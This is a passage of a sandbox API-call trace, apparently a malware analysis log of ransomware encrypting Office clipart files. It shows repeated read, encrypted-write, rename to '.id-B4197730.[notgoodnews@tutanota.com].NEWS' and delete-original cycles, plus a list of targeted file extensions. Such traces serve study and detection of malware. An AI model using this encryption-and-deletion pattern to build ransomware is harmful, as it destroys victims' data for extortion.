lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1b30, lpOverlapped=0x0) returned 1 [0085.780] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.780] WriteFile (in: hFile=0x37c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.780] SetEndOfFile (hFile=0x37c) returned 1 [0085.780] CloseHandle (hObject=0x37c) returned 1 [0085.780] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.780] SetEndOfFile (hFile=0x350) returned 1 [0085.781] CloseHandle (hObject=0x350) returned 1 [0085.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0085.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0085.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0085.782] lstrlenW (lpString=".doc") returned 4 [0085.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.782] lstrlenW (lpString=".docx") returned 5 [0085.782] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.782] lstrlenW (lpString=".pdf") returned 4 [0085.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.782] lstrlenW (lpString=".xls") returned 4 [0085.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.782] lstrlenW (lpString=".xlsx") returned 5 [0085.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.782] lstrlenW (lpString=".ppt") returned 4 [0085.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0085.782] lstrlenW (lpString=".zip") returned 4 [0085.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.782] lstrlenW (lpString=".rar") returned 4 [0085.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.782] lstrlenW (lpString=".bz2") returned 4 [0085.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.782] lstrlenW (lpString=".7z") returned 3 [0085.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0085.782] lstrlenW (lpString=".dbf") returned 4 [0085.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0085.782] lstrlenW (lpString=".1cd") returned 4 [0085.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0085.782] lstrlenW (lpString=".jpg") returned 4 [0085.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0085.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0085.783] lstrlenW (lpString=".doc") returned 4 [0085.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.783] lstrlenW (lpString=".docx") returned 5 [0085.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.783] lstrlenW (lpString=".pdf") returned 4 [0085.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.783] lstrlenW (lpString=".xls") returned 4 [0085.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.783] lstrlenW (lpString=".xlsx") returned 5 [0085.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.783] lstrlenW (lpString=".ppt") returned 4 [0085.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0085.783] lstrlenW (lpString=".zip") returned 4 [0085.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.783] lstrlenW (lpString=".rar") returned 4 [0085.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.783] lstrlenW (lpString=".bz2") returned 4 [0085.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.783] lstrlenW (lpString=".7z") returned 3 [0085.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0085.783] lstrlenW (lpString=".dbf") returned 4 [0085.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0085.783] lstrlenW (lpString=".1cd") returned 4 [0085.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0085.783] lstrlenW (lpString=".jpg") returned 4 [0085.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.784] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.784] lstrlenW (lpString="EN00202_.WMF") returned 12 [0085.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.108] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=6938) returned 1 [0086.108] CloseHandle (hObject=0x2c4) returned 1 [0086.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220 [0086.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.109] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.109] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.109] GetLastError () returned 0x0 [0086.109] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1b1a, lpOverlapped=0x0) returned 1 [0086.111] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0086.112] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.112] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.112] SetEndOfFile (hFile=0x344) returned 1 [0086.112] CloseHandle (hObject=0x344) returned 1 [0086.112] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.112] SetEndOfFile (hFile=0x2c4) returned 1 [0086.113] CloseHandle (hObject=0x2c4) returned 1 [0086.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0086.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0086.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0086.113] lstrlenW (lpString=".doc") returned 4 [0086.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.113] lstrlenW (lpString=".docx") returned 5 [0086.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.113] lstrlenW (lpString=".pdf") returned 4 [0086.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.114] lstrlenW (lpString=".xls") returned 4 [0086.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.114] lstrlenW (lpString=".xlsx") returned 5 [0086.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.114] lstrlenW (lpString=".ppt") returned 4 [0086.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0086.114] lstrlenW (lpString=".zip") returned 4 [0086.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.114] lstrlenW (lpString=".rar") returned 4 [0086.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.114] lstrlenW (lpString=".bz2") returned 4 [0086.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.114] lstrlenW (lpString=".7z") returned 3 [0086.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0086.114] lstrlenW (lpString=".dbf") returned 4 [0086.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0086.114] lstrlenW (lpString=".1cd") returned 4 [0086.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0086.114] lstrlenW (lpString=".jpg") returned 4 [0086.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0086.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0086.114] lstrlenW (lpString=".doc") returned 4 [0086.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.115] lstrlenW (lpString=".docx") returned 5 [0086.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.115] lstrlenW (lpString=".pdf") returned 4 [0086.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.115] lstrlenW (lpString=".xls") returned 4 [0086.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.115] lstrlenW (lpString=".xlsx") returned 5 [0086.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.115] lstrlenW (lpString=".ppt") returned 4 [0086.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0086.115] lstrlenW (lpString=".zip") returned 4 [0086.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.115] lstrlenW (lpString=".rar") returned 4 [0086.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.115] lstrlenW (lpString=".bz2") returned 4 [0086.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.115] lstrlenW (lpString=".7z") returned 3 [0086.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0086.115] lstrlenW (lpString=".dbf") returned 4 [0086.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0086.115] lstrlenW (lpString=".1cd") returned 4 [0086.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0086.115] lstrlenW (lpString=".jpg") returned 4 [0086.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.115] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.115] lstrlenW (lpString="FD00096_.WMF") returned 12 [0086.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.116] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=37390) returned 1 [0086.116] CloseHandle (hObject=0x2c4) returned 1 [0086.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0086.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.117] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.117] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.117] GetLastError () returned 0x0 [0086.117] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x920e, lpOverlapped=0x0) returned 1 [0086.119] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x9210, lpOverlapped=0x0) returned 1 [0086.121] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.121] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.121] SetEndOfFile (hFile=0x344) returned 1 [0086.121] CloseHandle (hObject=0x344) returned 1 [0086.122] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.122] SetEndOfFile (hFile=0x2c4) returned 1 [0086.123] CloseHandle (hObject=0x2c4) returned 1 [0086.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0086.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0086.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0086.123] lstrlenW (lpString=".doc") returned 4 [0086.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.123] lstrlenW (lpString=".docx") returned 5 [0086.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.123] lstrlenW (lpString=".pdf") returned 4 [0086.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.123] lstrlenW (lpString=".xls") returned 4 [0086.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.123] lstrlenW (lpString=".xlsx") returned 5 [0086.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.123] lstrlenW (lpString=".ppt") returned 4 [0086.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0086.124] lstrlenW (lpString=".zip") returned 4 [0086.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.124] lstrlenW (lpString=".rar") returned 4 [0086.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.124] lstrlenW (lpString=".bz2") returned 4 [0086.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.124] lstrlenW (lpString=".7z") returned 3 [0086.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0086.124] lstrlenW (lpString=".dbf") returned 4 [0086.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0086.124] lstrlenW (lpString=".1cd") returned 4 [0086.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0086.124] lstrlenW (lpString=".jpg") returned 4 [0086.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0086.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0086.124] lstrlenW (lpString=".doc") returned 4 [0086.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.124] lstrlenW (lpString=".docx") returned 5 [0086.124] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.124] lstrlenW (lpString=".pdf") returned 4 [0086.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.124] lstrlenW (lpString=".xls") returned 4 [0086.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.124] lstrlenW (lpString=".xlsx") returned 5 [0086.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.124] lstrlenW (lpString=".ppt") returned 4 [0086.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0086.124] lstrlenW (lpString=".zip") returned 4 [0086.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.124] lstrlenW (lpString=".rar") returned 4 [0086.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.125] lstrlenW (lpString=".bz2") returned 4 [0086.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.125] lstrlenW (lpString=".7z") returned 3 [0086.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0086.125] lstrlenW (lpString=".dbf") returned 4 [0086.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0086.125] lstrlenW (lpString=".1cd") returned 4 [0086.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0086.125] lstrlenW (lpString=".jpg") returned 4 [0086.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.125] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.125] lstrlenW (lpString="FD00296_.WMF") returned 12 [0086.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.125] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=15856) returned 1 [0086.125] CloseHandle (hObject=0x2c4) returned 1 [0086.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0086.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.126] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.126] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.126] GetLastError () returned 0x0 [0086.126] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x3df0, lpOverlapped=0x0) returned 1 [0086.128] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x3e00, lpOverlapped=0x0) returned 1 [0086.129] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, 